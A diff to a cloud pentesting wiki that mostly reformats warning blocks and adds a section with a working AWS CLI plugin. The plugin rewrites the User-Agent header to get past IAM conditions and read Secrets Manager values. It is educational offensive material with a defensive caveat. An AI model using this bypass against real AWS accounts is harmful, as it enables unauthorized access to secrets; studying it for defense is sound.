diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index 6cc217d32d..dd660142e4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -109,6 +109,63 @@ response = client.get_secret_value(SecretId="flag_secret") print(response["SecretString"]) ``` +### **Bypass User-Agent restrictions directly from AWS CLI** + +The `aws:UserAgent` request context value is controlled by the client and therefore should not be treated as a strong authorization boundary. AWS CLI v2 can load legacy Python plugins through the `[plugins]` configuration section, and those plugins can register handlers on Botocore's event emitter.[[8]](#references) + +A useful event for this purpose is `before-send..`. Botocore emits this event after the HTTP request has been prepared and immediately before transmitting it, which allows a plugin to modify the final request headers.[[9]](#references) + +For example, create an AWS CLI plugin that changes the `User-Agent` only for `SecretsManager.GetSecretValue`: + +```python +def _rewrite_user_agent(request=None, **kwargs): + if request is not None: + request.headers["User-Agent"] = b"Mozilla/5.0 custom-client" + + +def awscli_initialize(event_hooks): + event_hooks.register( + "before-send.secrets-manager.GetSecretValue", + _rewrite_user_agent, + ) +``` + +Place the plugin in a directory such as `/tmp/awscli-plugins/user_agent_override.py` and enable it from an AWS CLI configuration file: + +```ini +[default] +region = us-east-1 + +[plugins] +cli_legacy_plugin_path = /tmp/awscli-plugins +user_agent_override = user_agent_override +``` + +Then run the regular AWS CLI with that configuration: + +```bash +AWS_CONFIG_FILE=/tmp/awscli-plugin-config \ +aws secretsmanager get-secret-value \ + --secret-id +``` + +For a policy condition such as: + +```json +{ + "StringNotLike": { + "aws:UserAgent": "aws-cli/*" + } +} +``` + +the normal AWS CLI sends a `User-Agent` beginning with `aws-cli/...`, while the plugin changes the final outgoing header before transmission. If no other authorization control blocks the request, the modified value no longer matches `aws-cli/*` and the conditional Allow can become applicable. + +Using a late `before-send` hook is important because earlier request-building hooks may be followed by additional processing that reconstructs or modifies request headers. + +> [!WARNING] +> `aws:UserAgent` conditions can be useful for visibility or coarse client filtering, but because the header is client-controlled they should not be relied upon as a security boundary by themselves. + ### **`sts:GetFederationToken`** The `GetFederationToken` operation returns temporary credentials for a federated user; any session policy intersects with the IAM user's policies, so it cannot grant more than the caller already has.[[2]](#references) @@ -130,5 +187,7 @@ This operation creates a temporary federated session rather than a persistent IA - [5] [AI-redteam/clier](https://github.com/AI-redteam/clier) - [6] [Extensibility guide - Boto3 documentation](https://docs.aws.amazon.com/boto3/latest/guide/events.html) - [7] [AWS Management Console sign-in events - AWS CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html) +- [8] [AWS CLI v2 plugin loader implementation](https://github.com/aws/aws-cli/blob/v2/awscli/plugin.py) +- [9] [Botocore request sending and `before-send` event](https://github.com/boto/botocore/blob/develop/botocore/endpoint.py) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 67782eb28d..4fdb1f1e65 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -9,8 +9,7 @@ AgentCore Code Interpreter is a managed execution environment. **Custom Code Int If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution role’s permissions** (lateral movement / privilege escalation depending on role scope).[[1]](#references)[[2]](#references)[[6]](#references) > [!NOTE] -> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).[[1]](#references)[[6]](#references) -> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.[[6]](#references) +> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).[[1]](#references)[[6]](#references) AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.[[6]](#references) #### Preconditions (common misconfiguration) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 2f17eb1bf7..c54d721b67 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -37,8 +37,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name [!WARNING] -> This attack targets traditional SageMaker Studio domains that use the SageMaker AI `CreatePresignedDomainUrl` flow, not domains created by SageMaker Unified Studio. Unified Studio domains use the Unified Studio portal instead.[[5]](#references)[[23]](#references) -> Domains from Unified Studio may return the error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". +> This attack targets traditional SageMaker Studio domains that use the SageMaker AI `CreatePresignedDomainUrl` flow, not domains created by SageMaker Unified Studio. Unified Studio domains use the Unified Studio portal instead.[[5]](#references)[[23]](#references) Domains from Unified Studio may return the error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". An identity with permission to call `sagemaker:CreatePresignedDomainUrl` on a target Studio `UserProfile` can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attacker's browser a Studio session that inherits the profile's `ExecutionRole` permissions and full access to the profile's EFS-backed home and apps. No `iam:PassRole` or console access is required.[[5]](#references)[[6]](#references)[[7]](#references)[[8]](#references) @@ -296,8 +295,7 @@ Each training run launched by the tuning job emits the metric and sends the supp With the permission to update a SageMaker Studio User Profile, create an app, a presigned URL to the app and `iam:PassRole`, an attacker can set the `ExecutionRole` to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.[[6]](#references)[[7]](#references)[[8]](#references)[[19]](#references) > [!WARNING] -> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` -> If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.[[19]](#references)[[20]](#references) +> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.[[19]](#references)[[20]](#references) Steps: diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md index d9f64a4a5c..013e90c8f7 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md @@ -20,9 +20,8 @@ az storage queue create --name --account-name az storage queue metadata update --name --metadata key1=value1 key2=value2 --account-name --auth-mode login ``` -{% hint style="warning" %} -Creating a stored access policy changes the queue ACL and therefore isn't authorized by the queue `write` action. Microsoft Entra authorization maps this operation to `Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action`. The current `az storage queue policy create` command instead accepts an account key, SAS, or connection string and doesn't expose `--auth-mode login`; it requires both a policy name and queue name, and queue policy permissions use the letters `a` (add), `p` (process), `r` (read), and `u` (update).[[1]](#references)[[3]](#references) -{% endhint %} +> [!WARNING] +> Creating a stored access policy changes the queue ACL and therefore isn't authorized by the queue `write` action. Microsoft Entra authorization maps this operation to `Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action`. The current `az storage queue policy create` command instead accepts an account key, SAS, or connection string and doesn't expose `--auth-mode login`; it requires both a policy name and queue name, and queue policy permissions use the letters `a` (add), `p` (process), `r` (read), and `u` (update).[[1]](#references)[[3]](#references) ```bash az storage queue policy create \ diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index fb226b0ac4..fb991f092e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -30,8 +30,7 @@ wget -q -O - --header "Metadata-Flavor: Google" "http://metadata/computeMetadata ### Container Escape / Docker use > [!WARNING] -> Previously the cloud shell run in a container with access to the docker socket of the host. Now Google has changed the architecture and the cloud shell container runs a "Docker in a container" setup. So even if it's possible to use docker from the cloud shell, you won't be able to escape to the host using the docker socket. -> Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`. +> Previously the cloud shell run in a container with access to the docker socket of the host. Now Google has changed the architecture and the cloud shell container runs a "Docker in a container" setup. So even if it's possible to use docker from the cloud shell, you won't be able to escape to the host using the docker socket. Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`. Earlier research also documented Google Cloud Shell exposing the host Docker socket and reported a later restriction of eBPF permissions.[[5]](#references) Google's current documentation describes Cloud Shell as a Docker container running on an ephemeral VM and lists Docker as preinstalled; a usable client or socket does not by itself establish host-VM access.[[1]](#references) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 712d8336c8..eba89bdf42 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -70,10 +70,7 @@ curl -s -H "Metadata-Flavor: Google" \ The metadata server requires the `Metadata-Flavor: Google` header; its token endpoint returns an OAuth access token containing the scopes configured for the VM.[[6]](#references)[[7]](#references) > [!CAUTION] -> **Check the Scopes!** -> Even if the attached Service Account has a broad role such as **Editor**, VM access scopes can further restrict OAuth API calls. -> `https://www.googleapis.com/auth/cloud-platform` is the broad OAuth scope, but IAM roles still bound the token's effective permissions. -> If you only see `logging.write` and `monitoring.write`, API use is constrained to those write scopes; the **Network Pivot** and **Persistence** vectors below do not depend on broad API scopes.[[7]](#references) +> **Check the Scopes!** Even if the attached Service Account has a broad role such as **Editor**, VM access scopes can further restrict OAuth API calls. `https://www.googleapis.com/auth/cloud-platform` is the broad OAuth scope, but IAM roles still bound the token's effective permissions. If you only see `logging.write` and `monitoring.write`, API use is constrained to those write scopes; the **Network Pivot** and **Persistence** vectors below do not depend on broad API scopes.[[7]](#references)
diff --git a/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md index e3bfb86c13..919e28e0a2 100644 --- a/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md +++ b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md @@ -8,9 +8,8 @@ Secure Execution protects data in a KVM guest from inspection or modification by Data volumes attached to HPVS for VPC are LUKS-encrypted using seeds supplied in the deployment contract and can optionally incorporate a seed protected by IBM Hyper Protect Crypto Services.[[4]](#references) -{% hint style="warning" %} -IBM Cloud Hyper Protect Virtual Servers for VPC is deprecated. New instances cannot be created after 28 February 2026; existing instances are supported until 20 February 2027 and are scheduled for deletion on that date. IBM directs users to its Confidential Computing Container Runtime offerings for migration.[[4]](#references) -{% endhint %} +> [!WARNING] +> IBM Cloud Hyper Protect Virtual Servers for VPC is deprecated. New instances cannot be created after 28 February 2026; existing instances are supported until 20 February 2027 and are scheduled for deletion on that date. IBM directs users to its Confidential Computing Container Runtime offerings for migration.[[4]](#references) ### Metadata & VPC diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md index 5f0d7093a6..8a69e9b373 100644 --- a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md +++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md @@ -6,9 +6,8 @@ An OpenShift service account is identified by its project and name as `system:se Preconfigured templates and stale cluster objects can therefore leave a RoleBinding, ClusterRoleBinding, or SCC grant referring to a service account that does not yet exist. A RoleBinding can name a missing account in its existing project; a cluster-scoped ClusterRoleBinding or direct SCC grant can also name an account in a project that does not yet exist. If an attacker can create the referenced service account—or, for a cluster-scoped reference, first create the missing project—the resulting identity matches the existing grant and receives its role or SCC permissions. OpenShiftGrapher documents this dangling-reference attack pattern and represents the missing objects as `AbsentProject` and `AbsentServiceAccount` nodes.[[4]](#references)[[5]](#references) -{% hint style="warning" %} -Creating the service account does not, by itself, guarantee that the attacker can authenticate as it. Exploitation also requires a way to use the account, such as permission to create a workload under it or to create a `serviceaccounts/token` TokenRequest. OpenShift 4.16 and later no longer create a long-lived API-token Secret automatically for each new service account.[[2]](#references)[[6]](#references) -{% endhint %} +> [!WARNING] +> Creating the service account does not, by itself, guarantee that the attacker can authenticate as it. Exploitation also requires a way to use the account, such as permission to create a workload under it or to create a `serviceaccounts/token` TokenRequest. OpenShift 4.16 and later no longer create a long-lived API-token Secret automatically for each new service account.[[2]](#references)[[6]](#references)